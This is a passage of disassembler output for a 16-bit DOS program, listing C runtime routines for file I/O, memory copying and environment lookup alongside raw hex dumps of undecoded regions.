push word ptr [bp+6h]
push word ptr [bp+0Ch]
push word ptr [bp+0Ah]
xor ax,ax
push ax
call 2F10h
l0800_305C:
mov sp,bp
pop bp
retf
;; fn0800_3060: 0800:3060
;; Called from:
;; 268D:0050 (in fn268D_000F)
;; 268D:0098 (in fn268D_000F)
fn0800_3060 proc
push bp
mov bp,sp
push ss
lea ax,[bp+0Eh]
push ax
push word ptr [bp+0Ch]
push word ptr [bp+0Ah]
push word ptr [bp+8h]
push word ptr [bp+6h]
mov ax,445Ah
push ax
mov ax,3331h
push ax
call 08ACh
add sp,10h
pop bp
retf
;; fn0800_3084: 0800:3084
;; Called from:
;; 0800:3135 (in fn0800_3106)
fn0800_3084 proc
push bp
mov bp,sp
sub sp,4h
push si
les bx,[bp+4h]
cmp word ptr es:[bx],0h
jge 30A0h
l0800_3094:
mov cx,es:[bx+6h]
add cx,es:[bx]
inc cx
mov si,cx
jmp 30AFh
l0800_30A0:
les bx,[bp+4h]
mov ax,es:[bx]
cwd
xor ax,dx
sub ax,dx
mov cx,ax
mov si,ax
l0800_30AF:
les bx,[bp+4h]
test word ptr es:[bx+2h],40h
jnz 30FDh
l0800_30BA:
les bx,[bp+4h]
mov ax,es:[bx+0Eh]
mov dx,es:[bx+0Ch]
mov [bp-2h],ax
mov [bp-4h],dx
cmp word ptr es:[bx],0h
jge 30F6h
l0800_30D1:
jmp 30E0h
l0800_30D3:
dec word ptr [bp-4h]
les bx,[bp-4h]
cmp byte ptr es:[bx],0Ah
jnz 30E0h
l0800_30DF:
inc si
l0800_30E0:
mov ax,cx
dec cx
or ax,ax
jnz 30D3h
l0800_30E7:
jmp 30FDh
l0800_30E9:
les bx,[bp-4h]
inc word ptr [bp-4h]
cmp byte ptr es:[bx],0Ah
jnz 30F6h
l0800_30F5:
inc si
l0800_30F6:
mov ax,cx
dec cx
or ax,ax
jnz 30E9h
l0800_30FD:
mov ax,si
pop si
mov sp,bp
pop bp
ret 4h
;; fn0800_3106: 0800:3106
;; Called from:
;; 0800:3CF4 (in fn0800_3C8A)
fn0800_3106 proc
push bp
mov bp,sp
push si
mov si,[bp+0Eh]
push word ptr [bp+8h]
push word ptr [bp+6h]
nop
push cs
call 2C08h
pop cx
pop cx
or ax,ax
jz 3123h
l0800_311E:
mov ax,0FFFFh
jmp 3183h
l0800_3123:
cmp si,1h
jnz 313Fh
l0800_3128:
les bx,[bp+6h]
cmp word ptr es:[bx],0h
jle 313Fh
l0800_3131:
push word ptr [bp+8h]
push bx
call 3084h
cwd
sub [bp+0Ah],ax
sbb [bp+0Ch],dx
l0800_313F:
les bx,[bp+6h]
and word ptr es:[bx+2h],0FE5Fh
mov word ptr es:[bx],0h
mov ax,es:[bx+0Ah]
mov dx,es:[bx+8h]
mov es:[bx+0Eh],ax
mov es:[bx+0Ch],dx
push si
push word ptr [bp+0Ch]
push word ptr [bp+0Ah]
mov al,es:[bx+4h]
cbw
push ax
nop
push cs
call 06ABh
add sp,8h
cmp dx,0FFh
jnz 3181h
l0800_3177:
cmp ax,0FFFFh
jnz 3181h
l0800_317C:
mov ax,0FFFFh
jmp 3183h
l0800_3181:
xor ax,ax
l0800_3183:
pop si
pop bp
retf
0800:3186 55 8B EC 83 EC 08 B8 01 00 50 U........P
0800:3190 33 C0 33 D2 50 52 C4 5E 06 26 8A 47 04 98 50 90 3.3.PR.^.&.G..P.
0800:31A0 0E E8 07 D5 83 C4 08 89 56 FE 89 46 FC 83 FA FF ........V..F....
0800:31B0 75 08 3D FF FF 75 03 E9 A2 00 C4 5E 06 26 83 3F u.=..u.....^.&.?
0800:31C0 00 7C 03 E9 86 00 26 8A 47 04 98 D1 E0 8B D8 F7 .|....&.G.......
0800:31D0 87 82 99 00 08 74 63 B8 02 00 50 33 C0 33 D2 50 .....tc...P3.3.P
0800:31E0 52 8B 5E 06 26 8A 47 04 98 50 90 0E E8 BC D4 83 R.^.&.G..P......
0800:31F0 C4 08 89 56 FA 89 46 F8 83 FA FF 75 05 3D FF FF ...V..F....u.=..
0800:3200 74 60 33 C0 50 FF 76 FE FF 76 FC C4 5E 06 26 8A t`3.P.v..v..^.&.
0800:3210 47 04 98 50 90 0E E8 92 D4 83 C4 08 83 FA FF 75 G..P...........u
0800:3220 0D 3D FF FF 75 08 BA FF FF B8 FF FF EB 34 8B 46 .=..u........4.F
0800:3230 FA 8B 56 F8 89 46 FE 89 56 FC FF 76 08 FF 76 06 ..V..F..V..v..v.
0800:3240 E8 41 FE 99 01 46 FC 11 56 FE EB 10 FF 76 08 FF .A...F..V....v..
0800:3250 76 06 E8 2F FE 99 29 46 FC 19 56 FE 8B 56 FE 8B v../..)F..V..V..
0800:3260 46 FC 8B E5 5D CB F...].
;; fn0800_3266: 0800:3266
;; Called from:
;; 0800:32B2 (in fn0800_32A4)
;; 0800:33AC (in fn0800_3334)
fn0800_3266 proc
push bp
mov bp,sp
sub sp,4h
push si
mov si,14h
mov [bp-2h],ds
mov word ptr [bp-4h],97F0h
jmp 3298h
l0800_327A:
les bx,[bp-4h]
mov ax,es:[bx+2h]
and ax,300h
cmp ax,300h
jnz 3294h
l0800_3289:
push word ptr [bp-2h]
push bx
nop
push cs
call 2C08h
pop cx
pop cx
l0800_3294:
add word ptr [bp-4h],14h
l0800_3298:
mov ax,si
dec si
or ax,ax
jnz 327Ah
l0800_329F:
pop si
mov sp,bp
pop bp
ret
;; fn0800_32A4: 0800:32A4
;; Called from:
;; 0800:3396 (in fn0800_3334)
fn0800_32A4 proc
push bp
mov bp,sp
les bx,[bp+4h]
test word ptr es:[bx+2h],200h
jz 32B5h
l0800_32B2:
call 3266h
l0800_32B5:
les bx,[bp+4h]
push word ptr es:[bx+6h]
mov ax,es:[bx+0Ah]
mov dx,es:[bx+8h]
mov es:[bx+0Eh],ax
mov es:[bx+0Ch],dx
push ax
push dx
mov al,es:[bx+4h]
cbw
push ax
nop
push cs
call 3BB6h
add sp,8h
les bx,[bp+4h]
mov es:[bx],ax
or ax,ax
jle 32EFh
l0800_32E6:
and word ptr es:[bx+2h],0DFh
xor ax,ax
jmp 3318h
l0800_32EF:
les bx,[bp+4h]
cmp word ptr es:[bx],0h
jnz 3308h
l0800_32F8:
mov ax,es:[bx+2h]
and ax,0FE7Fh
or ax,20h
mov es:[bx+2h],ax
jmp 3315h
l0800_3308:
les bx,[bp+4h]
mov word ptr es:[bx],0h
or word ptr es:[bx+2h],10h
l0800_3315:
mov ax,0FFFFh
l0800_3318:
pop bp
ret 4h
;; fn0800_331C: 0800:331C
;; Called from:
;; 0800:2D25 (in fn0800_2CD5)
fn0800_331C proc
push bp
mov bp,sp
les bx,[bp+6h]
inc word ptr es:[bx]
push word ptr [bp+8h]
push bx
push cs
call 3334h
pop cx
pop cx
pop bp
retf
0800:3331 58 0E 50 X.P
;; fn0800_3334: 0800:3334
;; Called from:
;; 0800:3329 (in fn0800_331C)
fn0800_3334 proc
push bp
mov bp,sp
push si
mov ax,[bp+6h]
or ax,[bp+8h]
jnz 3346h
l0800_3340:
mov ax,0FFFFh
jmp 341Fh
l0800_3346:
les bx,[bp+6h]
cmp word ptr es:[bx],0h
jle 3369h
l0800_334F:
les bx,[bp+6h]
dec word ptr es:[bx]
mov ax,es:[bx+0Eh]
mov si,es:[bx+0Ch]
inc word ptr es:[bx+0Ch]
mov es,ax
mov al,es:[si]
jmp 341Dh
l0800_3369:
les bx,[bp+6h]
cmp word ptr es:[bx],0h
jl 33E1h
l0800_3372:
test word ptr es:[bx+2h],110h
jnz 33E1h
l0800_337A:
test word ptr es:[bx+2h],1h
jz 33E1h
l0800_3382:
les bx,[bp+6h]
or word ptr es:[bx+2h],80h
cmp word ptr es:[bx+6h],0h
jz 33A1h
l0800_3392:
push word ptr [bp+8h]
push bx
call 32A4h
or ax,ax
jz 334Fh
l0800_339D:
jmp 3340h
0800:339F EB .
0800:33A0 AE .
l0800_33A1:
les bx,[bp+6h]
test word ptr es:[bx+2h],200h
jz 33AFh
l0800_33AC:
call 3266h
l0800_33AF:
mov ax,1h
push ax
push ds
mov ax,0AB4Eh
push ax
les bx,[bp+6h]
mov al,es:[bx+4h]
cbw
push ax
nop
push cs
call 3BB6h
add sp,8h
or ax,ax
jnz 3400h
l0800_33CD:
les bx,[bp+6h]
mov al,es:[bx+4h]
cbw
push ax
nop
push cs
call 2AD9h
pop cx
cmp ax,1h
jz 33ECh
l0800_33E1:
les bx,[bp+6h]
or word ptr es:[bx+2h],10h
jmp 3340h
l0800_33EC:
les bx,[bp+6h]
mov ax,es:[bx+2h]
and ax,0FE7Fh
or ax,20h
mov es:[bx+2h],ax
jmp 3340h
l0800_3400:
cmp byte ptr [0AB4Eh],0Dh
jnz 3412h
l0800_3407:
les bx,[bp+6h]
test word ptr es:[bx+2h],40h
jz 33A1h
l0800_3412:
les bx,[bp+6h]
and word ptr es:[bx+2h],0DFh
mov al,[0AB4Eh]
l0800_341D:
mov ah,0h
l0800_341F:
pop si
pop bp
retf
0800:3422 1E B8 F0 97 50 0E E8 09 FF 59 59 CB ....P....YY.
;; fn0800_342E: 0800:342E
;; Called from:
;; 0800:419A (in fn0800_418D)
fn0800_342E proc
push bp
mov bp,sp
sub sp,4h
push si
push di
les di,[bp+6h]
mov ax,es
or ax,di
jz 345Fh
l0800_343F:
mov al,0h
mov ah,es:[di]
mov cx,0FFFFh
cld
l0800_3448:
repne scasb
l0800_344A:
not cx
dec cx
jz 345Fh
l0800_344F:
les di,[9B64h]
mov [bp-2h],es
mov bx,es
or bx,di
mov [bp-4h],di
jnz 346Ch
l0800_345F:
xor dx,dx
xor ax,ax
jmp 3498h
l0800_3465:
add word ptr [bp-4h],4h
les di,[bp-4h]
l0800_346C:
les di,es:[di]
mov bx,es
or bx,di
jz 345Fh
l0800_3475:
mov al,es:[di]
or al,al
jz 345Fh
l0800_347C:
cmp ah,al
jnz 3465h
l0800_3480:
mov bx,cx
cmp byte ptr es:[bx+di],3Dh
jnz 3465h
l0800_3488:
push ds
lds si,[bp+6h]
l0800_348C:
rep cmpsb
l0800_348E:
pop ds
xchg bx,cx
jnz 3465h
l0800_3493:
inc di
mov ax,di
mov dx,es
l0800_3498:
pop di
pop si
mov sp,bp
pop bp
retf
0800:349E 55 8B U.
0800:34A0 EC 8B 5E 06 8B 4E 0C 83 F9 0A 75 05 8B C3 99 EB ..^..N....u.....
0800:34B0 04 8B C3 33 D2 52 50 FF 76 0A FF 76 08 51 B0 01 ...3.RP.v..v.Q..
0800:34C0 50 B0 61 50 E8 42 D1 5D CB 55 8B EC FF 76 08 FF P.aP.B.].U...v..
0800:34D0 76 06 FF 76 0C FF 76 0A FF 76 0E B0 00 50 B0 61 v..v..v..v...P.a
0800:34E0 50 E8 25 D1 5D CB 55 8B EC 8B 46 0E FF 76 08 FF P.%.].U...F..v..
0800:34F0 76 06 FF 76 0C FF 76 0A 50 3D 0A 00 75 05 B8 01 v..v..v.P=..u...
0800:3500 00 EB 02 33 C0 50 B0 61 50 E8 FD D0 5D CB ...3.P.aP...].
;; fn0800_350E: 0800:350E
;; Called from:
;; 0800:16D7 (in fn0800_16B5)
;; 0F2B:135E (in fn0F2B_130A)
;; 1D10:1B25 (in fn1D10_1A8F)
;; 209F:0579 (in fn209F_0516)
;; 209F:0780 (in fn209F_06D8)
;; 209F:07A6 (in fn209F_06D8)
;; 209F:0800 (in fn209F_06D8)
;; 209F:082E (in fn209F_06D8)
;; 209F:0889 (in fn209F_06D8)
;; 209F:08B3 (in fn209F_06D8)
;; 226D:0536 (in fn226D_00F9)
;; 226D:0614 (in fn226D_057F)
fn0800_350E proc
push bp
mov bp,sp
push si
push di
mov dx,ds
les di,[bp+6h]
lds si,[bp+0Ah]
mov cx,[bp+0Eh]
shr cx,1h
cld
l0800_3521:
rep movsw
l0800_3523:
jnc 3526h
l0800_3525:
movsb
l0800_3526:
mov ds,dx
mov dx,[bp+8h]
mov ax,[bp+6h]
pop di
pop si
pop bp
retf
;; fn0800_3532: 0800:3532
;; Called from:
;; 0800:3566 (in fn0800_3556)
fn0800_3532 proc
push bp
mov bp,sp
push di
les di,[bp+6h]
mov cx,[bp+0Ah]
mov al,[bp+0Ch]
mov ah,al
cld
test di,1h
jz 354Ch
l0800_3548:
jcxz 3553h
l0800_354A:
stosb
dec cx
l0800_354C:
shr cx,1h
l0800_354E:
rep stosw
l0800_3550:
jnc 3553h
l0800_3552:
stosb
l0800_3553:
pop di
pop bp
retf
;; fn0800_3556: 0800:3556
;; Called from:
;; 0800:4291 (in fn0800_418D)
;; 1D10:1AF8 (in fn1D10_1A8F)
;; 209F:02DA (in fn209F_02A7)
;; 209F:0A0D (in fn209F_08D2)
fn0800_3556 proc
push bp
mov bp,sp
mov al,[bp+0Ah]
push ax
push word ptr [bp+0Ch]
push word ptr [bp+8h]
push word ptr [bp+6h]
push cs
call 3532h
add sp,8h
mov dx,[bp+8h]
mov ax,[bp+6h]
pop bp
retf
0800:3575 55 8B EC 56 57 1E 8B 4E 0C 8B 5E U..VW..N..^
0800:3580 0A 8B 56 08 8B 46 06 E8 83 D2 73 06 FD B8 01 00 ..V..F....s.....
0800:3590 EB 03 FC 33 C0 C5 76 06 C4 7E 0A 8B 4E 0E 0B C0 ...3..v..~..N...
0800:35A0 74 06 03 F1 4E 03 F9 4F F7 C7 01 00 74 04 E3 11 t...N..O....t...
0800:35B0 A4 49 2B F0 2B F8 D1 E9 F3 A5 73 05 03 F0 03 F8 .I+.+.....s.....
0800:35C0 A4 FC 1F 5F 5E 5D CB 55 8B EC FF 76 0E FF 76 08 ..._^].U...v..v.
0800:35D0 FF 76 06 FF 76 0C FF 76 0A 0E E8 98 FF 83 C4 0A .v..v..v........
0800:35E0 8B 56 08 8B 46 06 5D CB .V..F.].
;; fn0800_35E8: 0800:35E8
;; Called from:
;; 0800:36A4 (in fn0800_3615)
;; 0800:36C2 (in fn0800_3615)
fn0800_35E8 proc
push bp
mov bp,sp
push ds
mov cx,[bp+4h]
mov ah,3Ch
lds dx,[bp+6h]
int 21h
pop ds
jc 35FBh
l0800_35F9:
jmp 35FFh
l0800_35FB:
push ax
call 05ADh
l0800_35FF:
pop bp
ret 6h
;; fn0800_3603: 0800:3603
;; Called from:
;; 0800:3720 (in fn0800_3615)
fn0800_3603 proc
push bp
mov bp,sp
mov bx,[bp+4h]
sub cx,cx
sub dx,dx
mov ah,40h
int 21h
pop bp
ret 2h
;; fn0800_3615: 0800:3615
;; Called from:
;; 0800:2F4C (in fn0800_2F10)
;; 0CE0:001A (in fn0CE0_0007)
;; 0CE0:0E48 (in fn0CE0_08FC)
;; 0CE0:0F42 (in fn0CE0_08FC)
;; 0CE0:0FA0 (in fn0CE0_08FC)
;; 0CE0:10B5 (in fn0CE0_08FC)
;; 0E31:001C (in fn0E31_0002)
;; 0F2B:158C (in fn0F2B_153F)
;; 209F:02F2 (in fn209F_02E3)
;; 209F:08F1 (in fn209F_08D2)
;; 2476:063B (in fn2476_0630)
;; 2504:096E (in fn2504_094D)
;; 263F:034C (in fn263F_033E)
;; 268D:0220 (in main)
;; 268D:03F6 (in fn268D_03E2)
fn0800_3615 proc
push bp
mov bp,sp
sub sp,4h
push si
push di
mov si,[bp+0Ah]
mov di,[bp+0Ch]
test si,0C000h
jnz 3631h
l0800_3629:
mov ax,[99AAh]
and ax,0C000h
or si,ax
l0800_3631:
xor ax,ax
push ax
push word ptr [bp+8h]
push word ptr [bp+6h]
nop
push cs
call 2A76h
add sp,6h
mov [bp-2h],ax
test si,100h
jnz 364Eh
l0800_364B:
jmp 36CEh
l0800_364E:
and di,[99ACh]
mov ax,di
test ax,180h
jnz 3660h
l0800_3659:
mov ax,1h
push ax
call 05ADh
l0800_3660:
cmp word ptr [bp-2h],0FFh
jnz 3689h
l0800_3666:
cmp word ptr [99AEh],2h
jz 3677h
l0800_366D:
push word ptr [99AEh]
l0800_3671:
call 05ADh
jmp 377Eh
l0800_3677:
test di,80h
jz 3681h
l0800_367D:
xor ax,ax
jmp 3684h
l0800_3681:
mov ax,1h
l0800_3684:
mov [bp-2h],ax
jmp 3695h
l0800_3689:
test si,400h
jz 36CEh
l0800_368F:
mov ax,50h
push ax
jmp 3671h
l0800_3695:
test si,0F0h
jz 36B9h
l0800_369B:
push word ptr [bp+8h]
push word ptr [bp+6h]
xor ax,ax
push ax
call 35E8h
mov di,ax
or ax,ax
jge 36B0h
l0800_36AD:
jmp 377Ch
l0800_36B0:
push di
nop
push cs
call 2ABBh
pop cx
jmp 36CEh
l0800_36B9:
push word ptr [bp+8h]
push word ptr [bp+6h]
push word ptr [bp-2h]
call 35E8h
mov di,ax
or ax,ax
jge 3749h
l0800_36CB:
jmp 377Ch
l0800_36CE:
push si
push word ptr [bp+8h]
push word ptr [bp+6h]
nop
push cs
call 3784h
add sp,6h
mov di,ax
or ax,ax
jl 3749h
l0800_36E3:
xor ax,ax
push ax
push di
nop
push cs
call 2367h
pop cx
pop cx
mov [bp-4h],ax
test ax,80h
jz 3719h
l0800_36F6:
or si,2000h
test si,8000h
jz 3723h
l0800_3700:
and ax,0FFh
or ax,20h
xor dx,dx
push dx
push ax
mov ax,1h
push ax
push di
nop
push cs
call 2367h
add sp,8h
jmp 3723h
l0800_3719:
test si,200h
jz 3723h
l0800_371F:
push di
call 3603h
l0800_3723:
test word ptr [bp-2h],1h
jz 3749h
l0800_372A:
test si,100h
jz 3749h
l0800_3730:
test si,0F0h
jz 3749h
l0800_3736:
mov ax,1h
push ax
push ax
push word ptr [bp+8h]
push word ptr [bp+6h]
nop
push cs
call 2A76h
add sp,8h
l0800_3749:
or di,di
jl 377Ch
l0800_374D:
test si,300h
jz 3758h
l0800_3753:
mov ax,1000h
jmp 375Ah
l0800_3758:
xor ax,ax
l0800_375A:
mov dx,si
and dx,0F8FFh
or dx,ax
push dx
test word ptr [bp-2h],1h
jz 376Eh
l0800_376A:
xor ax,ax
jmp 3771h
l0800_376E:
mov ax,100h
l0800_3771:
pop dx
or dx,ax
mov bx,di
shl bx,1h
mov [bx+9982h],dx
l0800_377C:
mov ax,di
l0800_377E:
pop di
pop si
mov sp,bp
pop bp
retf
;; fn0800_3784: 0800:3784
;; Called from:
;; 0800:36D6 (in fn0800_3615)
fn0800_3784 proc
push bp
mov bp,sp
sub sp,2h
mov al,1h
mov cx,[bp+0Ah]
test cx,2h
jnz 379Fh
l0800_3795:
mov al,2h
test cx,4h
jnz 379Fh
l0800_379D:
mov al,0h
l0800_379F:
push ds
lds dx,[bp+6h]
mov cl,0F0h
and cl,[bp+0Ah]
or al,cl
mov ah,3Dh
int 21h
pop ds
jc 37CBh
l0800_37B1:
mov [bp-2h],ax
mov ax,[bp+0Ah]
and ax,0B8FFh
or ax,8000h
mov bx,[bp-2h]
shl bx,1h
mov [bx+9982h],ax
mov ax,[bp-2h]
jmp 37CFh
l0800_37CB:
push ax
call 05ADh
l0800_37CF:
mov sp,bp
pop bp
retf
;; fn0800_37D3: 0800:37D3
;; Called from:
;; 2057:00B2 (in fn2057_005C)
;; 209F:0071 (in fn209F_0002)
;; 263F:041C (in fn263F_03F3)
;; 263F:0428 (in fn263F_03F3)
;; 263F:0464 (in fn263F_043F)
;; 263F:0470 (in fn263F_043F)
;; 263F:0480 (in fn263F_043F)
;; 263F:0493 (in fn263F_043F)
;; 263F:049F (in fn263F_043F)
;; 263F:04CD (in fn263F_04B6)
;; 263F:04DD (in fn263F_04B6)
;; 268D:0112 (in main)
;; 268D:011E (in main)
;; 268D:039B (in fn268D_034A)
;; 268D:03C6 (in fn268D_034A)
fn0800_37D3 proc
push bp
mov bp,sp
mov ax,39B3h
push ax
push ds
mov ax,9804h
push ax
push word ptr [bp+8h]
push word ptr [bp+6h]
lea ax,[bp+0Ah]
push ax
call 1153h
pop bp
retf
;; fn0800_37EE: 0800:37EE
;; Called from:
;; 263F:0182 (in fn263F_00A6)
fn0800_37EE proc
push bp
mov bp,sp
les bx,[bp+8h]
dec word ptr es:[bx]
push word ptr [bp+0Ah]
push bx
mov al,[bp+6h]
cbw
push ax
nop
push cs
call 380Ah
add sp,6h
pop bp
retf
;; fn0800_380A: 0800:380A
;; Called from:
;; 0800:3801 (in fn0800_37EE)
fn0800_380A proc
push bp
mov bp,sp
push si
mov al,[bp+6h]
mov [0AB50h],al
les bx,[bp+8h]
cmp word ptr es:[bx],0FFh
jge 3871h
l0800_381D:
inc word ptr es:[bx]
mov ax,es:[bx+0Eh]
mov si,es:[bx+0Ch]
inc word ptr es:[bx+0Ch]
mov dl,[0AB50h]
mov es,ax
mov es:[si],dl
mov es,[bp+0Ah]
test word ptr es:[bx+2h],8h
jnz 3843h
l0800_3840:
jmp 3997h
l0800_3843:
cmp byte ptr [0AB50h],0Ah
jz 3854h
l0800_384A:
cmp byte ptr [0AB50h],0Dh
jz 3854h
l0800_3851:
jmp 3997h
l0800_3854:
push word ptr [bp+0Ah]
push word ptr [bp+8h]
nop
push cs
call 2C08h
pop cx
pop cx
or ax,ax
jnz 3868h
l0800_3865:
jmp 3997h
l0800_3868:
mov ax,0FFFFh
jmp 399Ch
0800:386E E9 26 .&
0800:3870 01 .
l0800_3871:
les bx,[bp+8h]
test word ptr es:[bx+2h],90h
jnz 3884h
l0800_387C:
test word ptr es:[bx+2h],2h
jnz 388Eh
l0800_3884:
les bx,[bp+8h]
or word ptr es:[bx+2h],10h
jmp 3868h
l0800_388E:
les bx,[bp+8h]
or word ptr es:[bx+2h],100h
cmp word ptr es:[bx+6h],0h
jz 390Dh
l0800_389E:
cmp word ptr es:[bx],0h
jz 38B3h
l0800_38A4:
push word ptr [bp+0Ah]
push bx
nop
push cs
call 2C08h
pop cx
pop cx
or ax,ax
jnz 3868h
l0800_38B3:
les bx,[bp+8h]
mov ax,es:[bx+6h]
neg ax
mov es:[bx],ax
mov ax,es:[bx+0Eh]
mov si,es:[bx+0Ch]
inc word ptr es:[bx+0Ch]
mov dl,[0AB50h]
mov es,ax
mov es:[si],dl
mov es,[bp+0Ah]
test word ptr es:[bx+2h],8h
jnz 38E2h
l0800_38DF:
jmp 3997h
l0800_38E2:
cmp byte ptr [0AB50h],0Ah
jz 38F3h
l0800_38E9:
cmp byte ptr [0AB50h],0Dh
jz 38F3h
l0800_38F0:
jmp 3997h
l0800_38F3:
push word ptr [bp+0Ah]
push word ptr [bp+8h]
nop
push cs
call 2C08h
pop cx
pop cx
or ax,ax
jnz 3907h
l0800_3904:
jmp 3997h
l0800_3907:
jmp 3868h
0800:390A E9 8A 00 ...
l0800_390D:
les bx,[bp+8h]
mov al,es:[bx+4h]
cbw
shl ax,1h
mov bx,ax
test word ptr [bx+9982h],800h
jz 393Ch
l0800_3921:
mov ax,2h
push ax
xor ax,ax
xor dx,dx
push ax
push dx
mov bx,[bp+8h]
mov al,es:[bx+4h]
cbw
push ax
nop
push cs
call 06ABh
add sp,8h
l0800_393C:
cmp byte ptr [0AB50h],0Ah
jnz 396Ah
l0800_3943:
les bx,[bp+8h]
test word ptr es:[bx+2h],40h
jnz 396Ah
l0800_394E:
mov ax,1h
push ax
push ds
mov ax,9B68h
push ax
mov al,es:[bx+4h]
cbw
push ax
nop
push cs
call 4619h
add sp,8h
cmp ax,1h
jnz 3989h
l0800_396A:
mov ax,1h
push ax
push ds
mov ax,0AB50h
push ax
les bx,[bp+8h]
mov al,es:[bx+4h]
cbw
push ax
nop
push cs
call 4619h
add sp,8h
cmp ax,1h
jz 3997h
l0800_3989:
les bx,[bp+8h]
test word ptr es:[bx+2h],200h
jnz 3997h
l0800_3994:
jmp 3884h
l0800_3997:
mov al,[0AB50h]
mov ah,0h
l0800_399C:
pop si
pop bp
retf
0800:399F 55 U
0800:39A0 8B EC 1E B8 04 98 50 FF 76 06 0E E8 5C FE 83 C4 ......P.v...\...
0800:39B0 06 5D CB 55 8B EC 83 EC 02 56 57 8B 7E 08 89 7E .].U.....VW.~..~
0800:39C0 FE C4 5E 04 26 F7 47 02 08 00 74 2E EB 22 FF 76 ..^.&.G...t..".v
0800:39D0 06 FF 76 04 C4 5E 0A FF 46 0A 26 8A 07 98 50 0E ..v..^..F.&...P.
0800:39E0 E8 27 FE 83 C4 06 3D FF FF 75 05 33 C0 E9 BE 01 .'....=..u.3....
0800:39F0 8B C7 4F 0B C0 75 D7 E9 B1 01 C4 5E 04 26 F7 47 ..O..u.....^.&.G
0800:3A00 02 40 00 75 03 E9 28 01 26 83 7F 06 00 75 03 E9 .@.u..(.&....u..
0800:3A10 CB 00 26 39 7F 06 73 69 26 83 3F 00 74 0F FF 76 ..&9..si&.?.t..v
0800:3A20 06 53 90 0E E8 E1 F1 59 59 0B C0 75 BE C4 5E 04 .S.....YY..u..^.
0800:3A30 26 8A 47 04 98 D1 E0 8B D8 F7 87 82 99 00 08 74 &.G............t
0800:3A40 1B B8 02 00 50 33 C0 33 D2 50 52 8B 5E 04 26 8A ....P3.3.PR.^.&.
0800:3A50 47 04 98 50 90 0E E8 52 CC 83 C4 08 57 FF 76 0C G..P...R....W.v.
0800:3A60 FF 76 0A C4 5E 04 26 8A 47 04 98 50 90 0E E8 A8 .v..^.&.G..P....
0800:3A70 0B 83 C4 08 3B C7 75 03 E9 30 01 E9 6D FF E9 2A ....;.u..0..m..*
0800:3A80 01 C4 5E 04 26 8B 07 03 C7 7C 26 26 83 3F 00 75 ..^.&....|&&.?.u
0800:3A90 0C B8 FF FF 26 2B 47 06 26 89 07 EB 14 FF 76 06 ....&+G.&.....v.
0800:3AA0 FF 76 04 90 0E E8 60 F1 59 59 0B C0 74 03 E9 3A .v....`.YY..t..:
0800:3AB0 FF 57 FF 76 0C FF 76 0A C4 5E 04 26 FF 77 0E 26 .W.v..v..^.&.w.&
0800:3AC0 FF 77 0C 90 0E E8 46 FA 83 C4 0A C4 5E 04 26 8B .w....F.....^.&.
0800:3AD0 07 03 C7 26 89 07 26 01 7F 0C E9 CE 00 C4 5E 04 ...&..&.......^.
0800:3AE0 26 8A 47 04 98 D1 E0 8B D8 F7 87 82 99 00 08 74 &.G............t
0800:3AF0 1B B8 02 00 50 33 C0 33 D2 50 52 8B 5E 04 26 8A ....P3.3.PR.^.&.
0800:3B00 47 04 98 50 90 0E E8 A2 CB 83 C4 08 57 FF 76 0C G..P........W.v.
0800:3B10 FF 76 0A C4 5E 04 26 8A 47 04 98 50 90 0E E8 F8 .v..^.&.G..P....
0800:3B20 0A 83 C4 08 3B C7 75 03 E9 80 00 E9 BD FE EB 7B ....;.u........{
0800:3B30 C4 5E 04 26 83 7F 06 00 74 52 EB 47 C4 5E 04 26 .^.&....tR.G.^.&
0800:3B40 FF 07 7D 20 26 8B 47 0E 26 8B 77 0C 26 FF 47 0C ..} &.G.&.w.&.G.
0800:3B50 C4 5E 0A FF 46 0A 26 8A 17 8E C0 26 88 14 8A C2 .^..F.&....&....
0800:3B60 B4 00 EB 17 FF 76 06 FF 76 04 C4 5E 0A FF 46 0A .....v..v..^..F.
0800:3B70 26 8A 07 50 0E E8 76 FC 83 C4 06 3D FF FF 75 03 &..P..v....=..u.
0800:3B80 E9 68 FE 8B C7 4F 0B C0 75 B2 EB 1F 57 FF 76 0C .h...O..u...W.v.
0800:3B90 FF 76 0A C4 5E 04 26 8A 47 04 98 50 90 0E E8 27 .v..^.&.G..P...'
0800:3BA0 09 83 C4 08 3B C7 74 03 E9 40 FE 8B 46 FE 5F 5E ....;.t..@..F._^
0800:3BB0 8B E5 5D C2 0A 00 ..]...
;; fn0800_3BB6: 0800:3BB6
;; Called from:
;; 0800:32D5 (in fn0800_32A4)
;; 0800:33C2 (in fn0800_3334)
;; 0800:3C87 (in fn0800_3C87)
fn0800_3BB6 proc
push bp
mov bp,sp
sub sp,4h
push si
push di
mov ax,[bp+6h]
cmp ax,[9980h]
jc 3BD1h
l0800_3BC7:
mov ax,6h
push ax
call 05ADh
jmp 3C81h
l0800_3BD1:
mov ax,[bp+0Ch]
inc ax
cmp ax,2h
jc 3BE7h
l0800_3BDA:
mov bx,[bp+6h]
shl bx,1h
test word ptr [bx+9982h],200h
jz 3BECh
l0800_3BE7:
xor ax,ax
jmp 3C81h
l0800_3BEC:
push word ptr [bp+0Ch]
push word ptr [bp+0Ah]
push word ptr [bp+8h]
push word ptr [bp+6h]
nop
push cs
call 0865h
add sp,8h
mov [bp-2h],ax
inc ax
cmp ax,2h
jc 3C16h
l0800_3C09:
mov bx,[bp+6h]
shl bx,1h
test word ptr [bx+9982h],4000h
jnz 3C1Bh
l0800_3C16:
mov ax,[bp-2h]
jmp 3C81h
l0800_3C1B:
mov cx,[bp-2h]
les si,[bp+8h]
mov di,si
mov bx,si
cld
l0800_3C26:
lodsb
cmp al,1Ah
jz 3C5Ch
l0800_3C2C:
cmp al,0Dh
jz 3C35h
l0800_3C30:
stosb
loop 3C26h
l0800_3C33:
jmp 3C54h
l0800_3C35:
loop 3C26h
l0800_3C37:
push es
push bx
mov ax,1h
push ax
lea ax,[bp-3h]
push ss
push ax
push word ptr [bp+6h]
nop
push cs
call 0865h
add sp,8h
pop bx
pop es
cld
mov al,[bp-3h]
stosb
l0800_3C54:
cmp di,bx
jnz 3C5Ah
l0800_3C58:
jmp 3BECh
l0800_3C5A:
jmp 3C7Eh
l0800_3C5C:
push bx
mov ax,1h
push ax
neg cx
sbb ax,ax
push ax
push cx
push word ptr [bp+6h]
nop
push cs
call 06ABh
add sp,8h
mov bx,[bp+6h]
shl bx,1h
or word ptr [bx+9982h],200h
pop bx
l0800_3C7E:
sub di,bx
xchg di,ax
l0800_3C81:
pop di
pop si
mov sp,bp
pop bp
retf
;; fn0800_3C87: 0800:3C87
;; Called from:
;; 0CE0:005F (in fn0CE0_0007)
;; 0CE0:0F7C (in fn0CE0_08FC)
;; 0CE0:0FDA (in fn0CE0_08FC)
